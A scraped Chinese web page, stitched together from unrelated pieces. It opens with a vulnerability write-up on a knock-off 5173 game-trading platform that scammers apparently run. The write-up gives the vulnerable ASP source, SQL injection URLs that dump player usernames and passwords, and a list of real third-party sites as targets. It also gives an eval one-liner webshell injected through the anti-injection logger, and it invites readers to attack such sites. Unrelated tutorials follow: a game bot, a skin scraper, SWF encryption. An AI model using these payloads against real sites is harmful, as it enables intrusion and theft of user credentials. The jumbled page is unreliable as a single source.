最近没事登登好几年前玩过的游戏看看,发现有人喊高价收号,这一看就是骗子,这等骗子还想骗我?我就来看看这逗逼是怎么骗人的,结果发现这人给了一个说是 5173平台交易的网站,叫我直接把号的信息填上去然后填好了之后就去他就会去购买,然后仔细看了一下平台,获取了源代码后看了一下~呵呵,漏洞还是有不 少的~ 仿5173网游交易平台游戏交易平台存在注入与getshell漏洞,可直接拖掉玩家数据~
发乌云上乌云不收,所以没事就发zone里给大家玩玩。其实这系统还是蛮多漏洞的,我最痛恨骗子了,大家能搞几个骗子平台就搞几个去吧~案例上大多都是一些骗子搭建来钓鱼的。
A:SQL注入一:
漏洞文件:/help.asp
<!--#include file="conn.asp"-->
<!--#include file="inc/config.asp"-->
<%
if trim(request("id")) <> "" then
set rs=conn.execute("select * from help where id ="&trim(request("id"))&" order by paixu asc")
if not rs.eof then
title=rs("help_title")
content=rs("help_content")
end if
else
set rs=conn.execute("select top 1 * from help order by paixu asc")
if not rs.eof then
title=rs("help_title")
content=rs("help_content")
end if
end if%>
这里id参数过滤不严存在sql注入的,但是conn.asp中包含了:
<!--#include file="sqlin.asp"-->
都知道这个防注入文件很垃圾吧,只做了GET和POST的防注入,可直接转为cookie注入绕过
这个注入我就不多研究了,看下一个支持UNION query的注入点。
B:SQL注入二
漏洞文件:/card_server.asp
<%
function OpenDB(sdbname)
{
/*
*--------------- OpenDB(sdbname) -----------------
* OpenDB(sdbname)
* 功能:打开数据库sdbname,返回conn对象.
* 参数:sdbname,字符串,数据库名称.
* 实例:var conn = OpenDB("database.mdb");
*--------------- OpenDB(sdbname) -----------------
*/
/*var connstr = "driver={SQL Server};server=.;uid=sa;pwd=7881541;database=wangyou";*/
var connstr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="+Server.MapPath(sdbname);
var conn = Server.CreateObject("ADODB.Connection");
conn.Open(connstr);
return conn;
}
var oConn = OpenDB("HSGAMEDB/#HSgame201008041121.asp");
var sel = Request("sel");
var classid = Request("classid")
var fieldname = Request("fieldname")
var arrResult = new Array();
//var sql = "select "+fieldname+" from game_class where parentid='"+sel+"' and classid="+classid;
var sql = "select * from card_class where parentid="+sel+"";
//Response.Write("alert("+sql+")")
var rs0 = Server.CreateObject("ADODB.Recordset");
rs0.Open(sql,oConn,1,1);
while(!rs0.EOF)
{
//遍历所有适合的数据放入arrResult数组中.
arrResult[arrResult.length] = rs0(0).Value+"|"+rs0(1).Value;
rs0.MoveNext();
}
//escape解决了XMLHTTP。中文处理的问题.
//数组组合成字符串.由","字符串连接.
Response.Write(escape(arrResult.join(",")));
%>
这里没有直接包含数据库连接文件,直接创建了连接对象,导致这一个注入是无法被sqlin.asp防御,注意,Request的sel参数没有过滤直接带入查询导致了SQL注入。简单构造一下注入点:
http://127.0.0.1/card_server.asp?sel=1'
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'parentid=1'' 中。
/card_server.asp,行 28
支持联合查询,可直脱掉ganme_user的玩家数据,好像sqlmap没有game_user的字典吧?。还有一个字段"alipay_pwd"是用户的支付密码~
http://127.0.0.1/card_server.asp?sel=1%20union%20select%20user_name,login_pwd,3,4,5,6,7,8,9%20from%20game_user
由于通用型的要5个案例,那我就来五个~
http://hhgg88.com/card_server.asp?sel=1
http://www.loft98.com.cn/card_server.asp?sel=1
http://mosouu.com/card_server.asp?sel=1
http://gaoyi.cc/card_server.asp?sel=1
http://www.631hk.com/card_server.asp?sel=1
我来脱个裤子给大家看看:
http://www.tylsf.com.cn/card_server.asp?sel=1%20union%20select%20user_name,login_pwd,3,4,5,6,7,8,9%20from%20game_user
C:GETSHELL:
漏洞文件:/SqlIn.Asp
<%
'--------数据库连接部分--------------
'dim dbkillSql,killSqlconn,connkillSql
dbkillSql="sql_whelpu.asp"
'On Error Resume Next
Set killSqlconn = Server.CreateObject("ADODB.Connection")
connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)
killSqlconn.Open connkillSql
If Err Then
err.Clear
Set killSqlconn = Nothing
Response.Write "数据库连接出错,请检查连接字串。"
Response.End
End If
'--------定义部份------------------
'Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql
'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
Kill_IP=True
WriteSql=True
'----------------------------------
Fy_Inf = split(Fy_In,"|")
'--------POST部份------------------
If Request.Form<>"" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
If WriteSql=True Then
killSqlconn.Execute("insert into
SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ)
values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
killSqlconn.close
Set killSqlconn = Nothing
End If
Response.Write "<Script Language=JavaScript>alert('系统提示:108非法操作!');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:POST<br>"
Response.Write "提交参数:"&Fy_Post&"<br>"
Response.Write "提交数据:"&Request.Form(Fy_Post)
Response.Redirect("default.asp")
Response.End
End If
Next
Next
End If
'----------------------------------
'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
If WriteSql=True Then
killSqlconn.Execute("insert into
SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ)
values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
killSqlconn.close
Set killSqlconn = Nothing
End If
Response.Write "<Script Language=JavaScript>alert('系统提示:108非法操作!');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&Fy_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
Response.Redirect("default.asp")
Response.End
End If
Next
Next
End If
%>
这里直接将用户非法提交的字符串写入了sql_whelpu.asp的数据库里面了,试想一下,如果故意加入一句话不就可以GETSHELL了吗? 在没有被人插入过asp的<%%>符号则可直接访问:
http://127.0.0.1/list_buy.asp?class_1=35536%20%3C%eval%20request(1)%%3E
当然如果有被人提交过的需要注意闭合就可以获取webshell了~ 这里成功将一句话写入数据库:sql_whelpu.asp,我们打开看看是不是呢?
菜刀连接:
http://127.0.0.1/sql_whelpu.asp
-
python脚本怎么执行_多学习才能多赚钱之:python怎么制作游戏脚本
2020-12-04 06:15:53本文将以4399小游戏《宠物连连看经典版2》作为测试案例,通过识别小图标,模拟鼠标点击,快速完成配对完成...获取窗口句柄,这里就是浏览器标题栏的标题了(右键-查看源代码-title,加上软件名)比如:“宠物连连看...本文将以4399小游戏《宠物连连看经典版2》作为测试案例,通过识别小图标,模拟鼠标点击,快速完成配对完成游戏脚本。
浏览器打开游戏窗口(单个一个窗口),游戏主要界面截图需要两个坐标(左上角坐标和右下角坐标)来确定,原点一般是屏幕左上角,不确定坐标点值的同学,可以全屏截图,用编辑图片软件查看坐标值。
获取窗口句柄,这里就是浏览器标题栏的标题了(右键-查看源代码-title,加上软件名)比如:“宠物连连看经典2,宠物连连看经典版2小游戏,4399小游戏 www.4399.com - Google Chrome“。获取窗口句柄就可以开始了。
总体开发思路:截取游戏主图 ---> 分割成小图 ---> 对比每个小图,对比图片相识度,编号存入矩阵 ---> 对矩阵进行可连计算 ---> 模拟点击。
获取窗口句柄,把窗口置顶
python可以使用win32gui模块调用Windows API实现对窗口的操作,使用FindWindow()方法可以获取窗口的句柄(handle),需要传入两个参数,第一个为父窗口句柄(这里填0即可),第二个参数是窗口的名称(标签title - Google Chrome)。获取句柄之后然后通过SetForegroundWindows() 设置窗口在前面,这里传入游戏窗口的举报即可,代码如下:
截取游戏界面,分割图标,图片比较
这里需要花费一些时间来校验程序,如果截取的图片不好,则会影响后续操作,所以比较主要的是确认游戏左上角和右下角这两个坐标值,以及每个小图标的宽高。如下图所示,先截取整个游戏界面图,然后分割小图标,接着对每个图标进行比较,然后以编号代替图标存入矩阵(这里的编号矩阵和游戏图不一致,原理一样)。
根据初始化设定的左上角和右下角两个坐标,使用ImageGrab.grab()方法进行截图,传入一个元组即可,然后对这个大图进行分割,切割成一个个小图标存入到images_list数组中。
通过上面代码切割的小图标,转成数字矩阵,如果图标已经存入image_type_list则返回这个索引,如果不存在,则在追加进去,然后当前长度就是这个新加入图标的编号,代码如下所示:
上面的getIndex就是对比图片,判断图标是否出现过(是否已存在image_type_list中,没出现则追加进去),这里使用汉明距离判断两个图片的相识度,设置阀值10,当小于阀值则认为是同一个图片,具体代码如下:
程序核心-图标连接算法(路径寻找)
这里仅对算法代码进行简单分析,如果对程序不好理解,可以留言,后续可以图文分析。
通过上面的开发流程,基本获取如下这样的矩阵,只要比较两个编号相同的值进行可连路径寻找,如果找到即进行模拟点击操作。这里简单介绍下游戏规则:8行乘12列游戏图标区域,外围的0其实表示寻找路径的时候可以通过,例如坐标(1, 1)可以与(1,10)进行连接、(7, 1)和(7,2)进行连接。
法的思路:路径的寻找首先是寻找一个坐标的横向竖向可以直接相连的坐标集合,比如坐标p1(1,1)这样的集合有[ (0,1), (1,0) ],另外一个坐标p2(1,10)的可连集合为[ (0,10) ],然后再对p1和p2的可连坐标集合进行比较,如果集合中坐标也有可连,则表示p1和p2可连,很明显,(0,1)和(0,10)为同一行且可连,这样就表示p1和p2两点存在可连路径了,代码如下所示:
简单分析下代码实现过程:在isReachable()传入两个需要比较的坐标值,然后分别获取两个点横竖向(isRowConnect()、isColConnect())可以连接的坐标集合,最后再对集合进行遍历比较是否存在可连的,如果存在则表示传入的两个坐标是可以连接的。
学习这样一个游戏辅助脚本,对于个人培养编程兴趣也是有很多帮助的,在工作之余不失为一个好的消遣方式,以后会多向这些方向研究学习。
-
day020-继承加强和设计模式代码和笔记.rar
2020-03-15 20:24:20//通过当前线程的类加载器获取流对象,如果是源文件夹,直接文件名 建议用当前线程类的加载器方式获取流,线程安全问题 类加载器:( 扩展,5个月后会讲) 加载字节码的一个类而已: 1. 启动... -
WIN XP蓝屏代码大全
2013-08-08 12:29:21◇解决方案:请使用"事件查看器"来获取更多的信息, 从中发现错误根源.(发现好像不是解决哦, 看来这里大家要自力更生了!) 21、0x0000007F:UNEXPECTED_KERNEL_MOED_TRAP ◆错误分析:一般是由于有问题的硬件(比如:内存)... -
如何运用python爬游戏皮肤_如何用Python爬取LOL官网全英雄皮肤
2021-02-05 11:43:14也不要难过接下咱们来讲讲怎么爬取LOL官网本次案例使用到的模块import requestsimport reimport json安装模块:pip install requests#re、json都是自带的不需要安装01获取JS源代码 获取英雄的ID首先让咱们找到每个...你没有看错,没错今天小编带你爬取LOL官网全英雄皮肤的图片
不要失望,也不要难过
接下咱们来讲讲怎么爬取LOL官网
本次案例使用到的模块
import requests
import re
import json
安装模块:
pip install requests
#re、json都是自带的不需要安装
01
获取JS源代码 获取英雄的ID
首先让咱们找到每个英雄皮肤的地址,F12打开开发者工具页面选择器,选中图片自动找寻到图片的地址
龙的传人 李青的图片地址:
http://ossweb-img.qq.com/images/lol/web201310/skin/big64003.jpg
神僧 李青图片地址:
http://ossweb-img.qq.com/images/lol/web201310/skin/big64011.jpg
不难发现其中的规律:
big64003.jpg
big64011.jpg
很明显 64是英雄的ID地址 003是皮肤顺序
找到JS源代码,你会发现英雄的ID地址并不是按照顺序排列下来的!
1 def getLOLImages():
2 url_js = 'http://lol.qq.com/biz/hero/champion.js'
3 #获取JS源代码 str bytrs字节
4 res_js = requests.get(url_js).content
5 #转码
6 html_js = res_js.decode()
7 #正则表达
8 req = '"keys":(.*?),"data"'
9 list_js = re.findall(req,html_js)
10 # str → dict
11 dict_js = json.loads(list_js[0])
12 print(dict_js)
很多不明白这个正则表达式怎么写,这里简单的说明一下:
前面是 “keys”:后面是,“data” 然后我们需要提取的是中间的部分,那么不管它们是啥,我们就是.?* 通配符全部匹配出来。
后面就不详细讲解了,本篇文章最后,小编会带上详细的视频讲解
02
拼接URL地址、获取下载图片的地址
pic_list = []
for key in dict_js:
#print(key)
for i in range(20):
num = str(i)
if len(num) == 1:
hreo_num = "00"+num
elif len(num) == 2:
hreo_num = "0"+num
numstr = key+hreo_num
url = "http://ossweb-img.qq.com/images/lol/web201310/skin/big"+numstr+".jpg"
print(url)
pic_list.append(url)
list_filepath = []
path = "图片保存地址"
#print(dict_js.values())
for name in dict_js.values():
for i in range(20):
file_path = path + name + str(i) + '.jpg'
list_filepath.append(file_path)
#print(list_filepath)
03
下载图片
n = 0
for picurl in pic_list:
res = requests.get(picurl)
n+=1
if res.status_code ==200:
print("正在下载%s"%list_filepath[n])
with open(list_filepath[n],'wb') as f:
f.write(res.content)
详细视频学习地址
链接:https://pan.baidu.com/s/1TbPuMUsKvuk9bqh3hm6wNQ
密码:ewyk
-
Tc2.0 编写俄罗斯方块游戏
2010-06-11 20:07:46最后还附了完整的俄罗斯方块游戏的源代码,和最终的可执行程序。如果你看了这份东东,有什么意见和想法,请发电子邮件告诉我。我将会继续更新这分东东,最新的版本可以在我的个人主页上下载。 下面的问题是有关... -
仿5173游戏交易平台系统SQL注入(可直接脱裤)+Getshell
2014-11-17 22:53:00我就来看看这逗逼是怎么骗人的,结果发现这人给了一个说是 5173平台交易的网站,叫我直接把号的信息填上去然后填好了之后就去他就会去购买,然后仔细看了一下平台,获取了源代码后看了一下~呵呵,漏洞还是有不 少的~...转载于:https://www.cnblogs.com/hookjoy/p/4104618.html
-
VC++中怎么实现绘制菱形并判断鼠标是否移动在上面
2017-10-10 06:19:57希望大家帮我看看,我实在研究不出来怎么实现的了,我自己写的是win32API,源代码也缺少头文件,不能边运行边测试,这里的CRect也没见有什么处理矩形4个三角的问题 ![图片说明]... -
使用加密来保护你的Flash文件被反编译
2014-12-24 14:45:25如果你不将你的swf进行保护,它将很容易被反编译,只需一个按钮就可以获取阅读性很强的源代码。 这篇教程我用一个案例来说明我是如何保护代码和资源,防止被剽窃。 让我们开始吧 我使用一个小项目的 demo来...反编译真的让flash制作者讨厌的东西。你花大量的精力做了一个很好的游戏,却有很多人盗用,并且替换了你的logo然后将其放到他们自己的站点。
怎么做到呢?就是通过反编译。如果你不将你的swf进行保护,它将很容易被反编译,只需一个按钮就可以获取阅读性很强的源代码。
这篇教程我用一个案例来说明我是如何保护代码和资源,防止被剽窃。
让我们开始吧
我使用一个小项目的 demo来说明swf在反编译下试多么的脆弱。你可以从上面的source链接下载这个demo然后自己测试。
我是使用Sothink SWF Decompiler 5来反编译swf然后看他的解析输出。这些代码相当明显易懂, 而且你可以非常容易的拿来使用。
那我们该怎么办呢?
我想出一个可以保护swf文件被反编译的方法,在之后的教程中将加以说明。我们能够得到如下的代码:(译者:如果你是破 解的人,是不是已经开始头痛了呢?)
这 些被反编译的代码实际就是你被解码的内容,其实已经与你的主代码完全不同了。另外这些命名已经全部是非法的了,因此已经无法被重新编译。你可以尝试去编译它。
在我们开始之前,需要指出的是这篇教程并不适合初学者,如果你想继续阅读必须具备扎实的 AS3知识。这里同样涉及字节和ByteArrays的一些底层程序设计,使用hex editor来操作swf 文件。
我们需要的工具:
- 一个要被保护的SWF. 免费下载作者的作品
- Flex SDK. 我们需要使用Embed标签内嵌资源,你可以从 opensource.adobe.com 下载.
- hex editor(二进制编辑器). 我使用免费的编辑器 Hex-Ed.你可以从这里下载 nielshorn.net 当然你也可以选择自己喜欢的编辑器
- 反编译器. 虽然不是必须的,但它可以见证我们的保护措施是非常棒的。你可以从sothink.com获取一个试用的Sothink SWF Decompile
步骤 1: 实时加载SWF
打开一个新的ActionScript 3.0项目,并设置好编译的Flex SDK(我用FlashDevelop来写代码)。选择一个你想要保护的SWF并将其以二进制数据的Embed标签嵌入:
[Embed (source = "VerletCloth.swf", mimeType = "application/octet-stream")] // source = path to the swf you want to protect private var content:Class;
现在以ByteArray形式,swf被嵌入到其中,然后通过Loader.loadBytes() 将其加载。
var loader:Loader = new Loader(); addChild(loader); loader.loadBytes(new content(), new LoaderContext(false, new ApplicationDomain()));
最后我们将 得到如下的代码:
package { import flash.display.Loader; import flash.display.Sprite; import flash.system.ApplicationDomain; import flash.system.LoaderContext; [SWF (width = 640, height = 423)] //the dimensions should be same as the loaded swf's public class Main extends Sprite { [Embed (source = "VerletCloth.swf", mimeType = "application/octet-stream")] // source = path to the swf you want to protect private var content:Class; public function Main():void { var loader:Loader = new Loader(); addChild(loader); loader.loadBytes(new content(), new LoaderContext(false, new ApplicationDomain())); } } }
编译然后查看是否正确运 行。现在我们称嵌入里面的SWF为“保护SWF”,刚刚编译的SWF被称为“加载SWF”
步骤 2: 分析结果
让我们再反编译查看下:
耶!
资源和原始代码都不见了!这里的代码看到的是被加载的SWF而不是它的内容了。这里我们可以避免掉大多数的攻击者,他们不是Flash的高手,但是你的保 护技术在高手面前依然还不是足够的安全,因为被加载的”保护SWF”还是依然等待着他们来破解。
步骤 3: 解压缩 SWF
让 我们用hex editor来查看swf:
它看上去像是一堆二进制数据因为它是以ASCII码的”CWS”开头的。我们需要解压它!(如果你的SWF是以“FWS”开始的,那么这些就是有意义的字 符,那它就是未压缩的。但是我们之后同样可以压缩它)。听上去很难的样子其实不然。SWF文件格式是开发的格式有详细的文档说 明了,你可以从adobe.com下 载在文档的第25页。这里说明了头部结构并说明SWF是怎么压缩的,因此我们解压缩就变得容易多了。写在最开头的3个字节是一个标 志(CSW或FWS),接下来的字节表示Flash的版本号,再后面的4个字节就表示SWF的大小。如果标志是CWS那剩下的字节的就是被压缩的内容了, 反之如果标志为FWS,那剩下的就是位压缩的。让我们写一个简单的函数来解压这个SWF:
private function decompress(data:ByteArray):ByteArray { var header:ByteArray = new ByteArray(); var compressed:ByteArray = new ByteArray(); var decompressed:ByteArray = new ByteArray(); header.writeBytes(data, 3, 5); //读取未压缩的头信息,排除标记符号 compressed.writeBytes(data, 8); //读取剩余的被压缩数据 compressed.uncompress(); decompressed.writeMultiByte("FWS", "us-ascii"); //未压缩标记 decompressed.writeBytes(header); //回写头部信息 decompressed.writeBytes(compressed); //回写解压缩数据 return decompressed; }
这个函数做了一些事:
- 读取未压缩的header(开始的8个字节)记住不包括标志 符号。
- 读取剩下的数据并解压缩它
- 回写到头里(变成“FWS”标记)并解压缩数据,创建一个新的,解压缩的SWF。
步骤 4: 创建一个公共程序(Utility)
接下来我们用Flash创建一个灵巧的工具来压缩和解压缩SWF文件。在一个新的AS3项目中, 编译如下的文档类:
package { import flash.display.Sprite; import flash.events.Event; import flash.net.FileFilter; import flash.net.FileReference; import flash.utils.ByteArray; public class Compressor extends Sprite { private var ref:FileReference; public function Compressor() { ref = new FileReference(); ref.addEventListener(Event.SELECT, load); ref.browse([new FileFilter("SWF Files", "*.swf")]); } private function load(e:Event):void { ref.addEventListener(Event.COMPLETE, processSWF); ref.load(); } private function processSWF(e:Event):void { var swf:ByteArray; switch(ref.data.readMultiByte(3, "us-ascii")) { case "CWS": swf = decompress(ref.data); break; case "FWS": swf = compress(ref.data); break; default: throw Error("Not SWF..."); break; } new FileReference().save(swf); } private function compress(data:ByteArray):ByteArray { var header:ByteArray = new ByteArray(); var decompressed:ByteArray = new ByteArray(); var compressed:ByteArray = new ByteArray(); header.writeBytes(data, 3, 5); //read the header, excluding the signature decompressed.writeBytes(data, 8); //read the rest decompressed.compress(); compressed.writeMultiByte("CWS", "us-ascii"); //mark as compressed compressed.writeBytes(header); compressed.writeBytes(decompressed); return compressed; } private function decompress(data:ByteArray):ByteArray { var header:ByteArray = new ByteArray(); var compressed:ByteArray = new ByteArray(); var decompressed:ByteArray = new ByteArray(); header.writeBytes(data, 3, 5); //read the uncompressed header, excluding the signature compressed.writeBytes(data, 8); //read the rest, compressed compressed.uncompress(); decompressed.writeMultiByte("FWS", "us-ascii"); //mark as uncompressed decompressed.writeBytes(header); //write the header back decompressed.writeBytes(compressed); //write the now uncompressed content return decompressed; } } }
大概你已经注意到了,我只是实现了两件事:加载文件和压缩函数。
这个压缩函数基本与解压缩函数一致,只是反转而以。文件的加载用的是 FileReference (必须FP10)而加载的文件要么被压缩,要么被解压缩。注意:我们只能用标准的player在本地运行这个SWF,因为FileReference.browse()必 须与用户交互(译者:只有用本地player才能运行,如果在网络访问,无法弹出对话框的)
步 骤 5: 解压缩被加载的SWF
测试这个工具,动起来,加载一个SWF文件然后再保存。然后用hex editor进行查看。你看到的ascii字符串就类似如下的:
步 骤 6: 再次分析
让我们回到步骤2.当反编译器不能在“保护SWF”得到有用的数据,这是在未压缩的loader中获取这个SWF那将 是很容易的。只需要搜索“CWS”(如果“保护SWF”是未压缩的,直接搜索“FWS”)这样就看到如下的结果了:
你 将会发现一个DefineBinaryData标记,这个就是包含“保护SWF”的,将这段字符提取出来便可以了。所以我们不得不再在这个加载的SWF上 加上一层保护:加密。
步骤 7: 加密
为了让我们的“保护SWF”不那么容易被找到,所 以我们要采用加密。我选择了as3crypto的方式,你可以从这里下载到:code.google.com。 你可以用其他任何类库来代替(或者你自己实现,或许更好),但有一个必须的条件就是一个key,用来对二进制进行加密和解密。
步骤 8: 加密数据
首先我们需要一个公用程序在将SWF嵌入之前进行加密。这需要对as3crypto库有简单的了解,而这个库也是非常 的简单易用,将这个类库添加到你的库路径里,然后就可以通过如下的方式使用了:
var aes:AESKey = new AESKey(binKey); var bytesToEncrypt:int = (data.length & ~15); //确保能被16整除,最后4个字节为0 for (var i:int = 0; i < bytesToEncrypt; i += 16) aes.encrypt(data, i);
这里做了什么处理呢?我们使用as3crypto类所生成的实例 AESKey对内容进行加密。这个类每次加密16个字节(128-bit),我们通过for循环将所有的数据加密。注意第二行:data.length&~15。这是为了确保被加密的字节数刚好可以被16整除否则我们将不能调用aes.encrypt().
注 意: 在这里对加密知识的了解非常重要。这里不是真正的加密,我们只是在SWF中嵌入一个key来混淆而已。这里的目的是将数据变成二进制乱码,这就是上面代码 的作用,虽然可以达到15个加密字节(在我们的例子中我们不关心这个)。我不是一个密码专家,而我也相信上面的代码在专业的密码人员眼里是如此的渐现,但 是如我所说SWF中查找这个key也是很渺茫的。
步骤9:加密公共程序
现在需要另一个公共程序用 来帮助我们加密SWF文件。这几乎和我们之前轻松创建的压缩程序是一样的,这里就不再赘述了。
在新的项目里编译这个文档类:
package { import com.hurlant.crypto.symmetric.AESKey; import flash.display.Sprite; import flash.events.Event; import flash.net.FileReference; import flash.utils.ByteArray; public class Encryptor extends Sprite { private var key:String = "activetuts"; //I hardcoded the key private var ref:FileReference; public function Encryptor() { ref = new FileReference(); ref.addEventListener(Event.SELECT, load); ref.browse(); } private function load(e:Event):void { ref.addEventListener(Event.COMPLETE, encrypt); ref.load(); } private function encrypt(e:Event):void { var data:ByteArray = ref.data; var binKey:ByteArray = new ByteArray(); binKey.writeUTF(key); //AESKey requires binary key var aes:AESKey = new AESKey(binKey); var bytesToEncrypt:int = (data.length & ~15); //make sure that it can be divided by 16, zero the last 4 bytes for (var i:int = 0; i < bytesToEncrypt; i += 16) aes.encrypt(data, i); new FileReference().save(data); } } }
运行它,首先选择你要加密的SWF,然后将加密后的swf另存就可以了。
步骤 10:更改加载模块
重新回到前面加载SWF项目。因为内容已经被加密过,所以我们必须修改加载SWF,在其中添加解密代码。不要忘记将 Embed 标签中的src重新指向被加密的SWF上。
package { import com.hurlant.crypto.symmetric.AESKey; import flash.display.Loader; import flash.display.Sprite; import flash.system.ApplicationDomain; import flash.system.LoaderContext; import flash.utils.ByteArray; [SWF (width = 640, height = 423)] //the dimensions should be same as the loaded swf's public class Main extends Sprite { [Embed (source = "VerletClothEn.swf", mimeType = "application/octet-stream")] // source = path to the swf you want to protect private var content:Class; private var key:String = "activetuts"; public function Main():void { var data:ByteArray = new content(); var binKey:ByteArray = new ByteArray(); binKey.writeUTF(key); //AESKey requires binary key var aes:AESKey = new AESKey(binKey); var bytesToDecrypt:int = (data.length & ~15); //make sure that it can be divided by 16, zero the last 4 bytes for (var i:int = 0; i < bytesToDecrypt; i += 16) aes.decrypt(data, i); var loader:Loader = new Loader(); addChild(loader); loader.loadBytes(data, new LoaderContext(false, new ApplicationDomain())); } } }
这里除了代码中间的解密代码不同外其余基本相同。现在编译这个加载SWF并测试它是否工作。如果你一直很仔细的根据我所说的做,这个“保护SWF”是会成功 被加载并显示的。
步骤 11:通过反编译器看看内部
在反编译器里打开这个加载SWF看看。
这里包含约1000行的混乱的加密代码,从中提取这个“保护SWF”已经相当困难了。我们再加入一些新的步骤增加攻击者负担:
- 他 (她)找到拥有加密内容的DefineBinaryData,并将其提取出来
- 他必须有一个工具去解密它。
这个问题 就变成创建一个工具,类似从反编译器中复制-粘贴到代码编辑器,只需要对代码做简短的修改。我尝试着去破坏自己保护的swf,那是相当简单的-我做这些只 用了将近5分钟。所以我们不得不做一些测试。
步骤12:字符串混淆
首先,我将“保护SWF”加载到SWF,并加密它,现 在我们将对加载SWF做最后的处理。我们用非法的名字重命名类名,函数名和变量名。
我意味的非法名称例如,;!@@,^#^和(^_^)。 这么酷的事只对编译器有效果而对FlashPlayer是没关系的。当编译器内部识别遇到非法字符,它不能解析它们而它们就无法通过编译。另一方面,播放器中的非法命名是没有任何问题的。我们可以用非法字符编译SWF,解压它然后用一堆非法字符来重命名它们。这个反编译器将输出非法的代码,而攻击者不得不 自己去整理数以万计的代码,在他编译之前必须先移除这些非法字符。他值得这么做!
这是在字符混淆之前的视图:
让我们开始吧!使用我们制作的工具解压缩加载SWF,并在hex editor查看。
步骤13: 你的第一个混淆
让我们重命名文档类。在左侧找到原名(Main),让我们用hex editor打开未压缩加载SWF并搜索:
将“Main”重命名为;;;;。现在再继续查找“Main”同样重命名为;;;;。
当我们在重命名的时候确保你不会将不必要的字符串重命名,否则SWF将无法运行。
Save and run the SWF. It works! And look what the decompiler says:
胜利!!
步骤 14: 重命名剩余的类名
继续重命名你的类名。选择类名并查找它,从头到尾查找并替换成非法字符。如我所说,最重要的是利用你的常 识,确保你不会打乱你的SWF文件。当你重命名完类名后,你可以重命名你的包名。注意:当你重命名包名时,你可以将其命名为长长的非法字符包名。看看我的 命名:
当你完成类名和包名的重命名后,你可以重命名函数和变量。它们同样非常容易重命名,因为它们通常出现的比较少。当然,确保你重命名你的方法不会与Flash 内置的方法相同。确保你不会擦除掉我们的加密使用的key(这里是”activetuts”)。
步骤 15: 压缩SWF
在你完成重命名后,你将压缩SWF,因为它大小将变小。我们可以使用我们之前制作的压缩工具,运行这个工具,选择 SWF然后另存。
结 论:最后回顾
再打开看看,类名、变量名和方法名是否被混淆成功而“保护SWF”是否被藏匿其中,并加密。这个技术可能会让开始的时候比较 慢(因为有解密的原因),但是这仅仅是一点点时间。
之后我创建一个自动工具将我的“保护SWF”注入到“加载SWF”里,而它也能很好的操 作。唯一的问题就是如果你用了这个自动工具进行注入,它就能被其他工具破解。因此攻击者只要做一个相应的工具就会很容易获取你的SWF。所以我每次做 SWF的工作都是通过自己手动操作,附带一些细小的修改,让自动化变得困难。
另一个很好的应用技术就是Domain locking。 这里用你SWF当前正在执行的域名来代替前面进行解密所使用的字符串常量。因此,用一个if语句来检查域,您可以引入一个更强大 的方式来保护放在其他网 站上的SWF。
最后,你可以用自己实现的加密代码来代替现在的加密代码。为 什么?因为我们使用的加密代码都是来自常见的开源库这样攻击者同样也能使用。他可以下一个完全的拷贝,怎么样的混淆都变得多余了。另外,使用你自己实现的 代码,他必须首先得还原你的混淆,这样他才能继续接下来的工作。
其他一些保护方法
在Flash应 用里SWF被破解是一个大问题,这里还有一些供选择的保护方法。许多程序都是基于字节层的AS混淆(比如Kindisoft的 secureSWF)。它们破坏编译好的字节,当反编译器尝试输出代码的时候就失败了,甚至有时候崩溃。当然越好的加密工具,价格也越贵。所以在你选择用 何种工具加密的时候,需要考虑加密的程度。如果你所保护的算法是拥有50个程序员工作室耗时2年做的东西,你就需要考虑比重命名变量更好的办法了。再者, 如果你只想要保护玩家提交的最高分,那这个技术就已经够了。
我喜欢这种办法只是在运行的时候你保护的SWF不被很容易接触到。而字节代码的 混淆可能会破坏SWF并产生一些Bug(虽然我自己还没有遇到过)。
这次就到这里,希望你喜欢这篇教程并能学到新的东西!
-
第一个部分是 leetcode 经典题目的解析,包括思路,关键点和具体的代码实现。 第二部分是对于数据结构与算法的总结 第三部分是 anki 卡片, 将 leetcode 题目按照一定的方式记录在 anki 中,方便大家记忆。 第...
-
求!!!!怎么在C语言添加背景音乐
2020-01-02 16:29:34我打算在个C语言程序中加背景音乐,找了好多都不行,总会报错,希望有大佬可以教我一下怎么加背景音乐,用的是DV源代码如下(拜托了各位大佬!!!) #include #include #include #include #include #... -
vc++ 应用源码包_1
2012-09-15 14:22:12Visual.C++编程技巧精选500例源代码 内含各种例子(vc下各种控件的使用方法、标题栏与菜单栏、工具栏与状态栏、图标与光标、程序窗口、程序控制、进程与线程、字符串、文件读写操作、文件与文件夹属性操作、文件与... -
vc++ 应用源码包_2
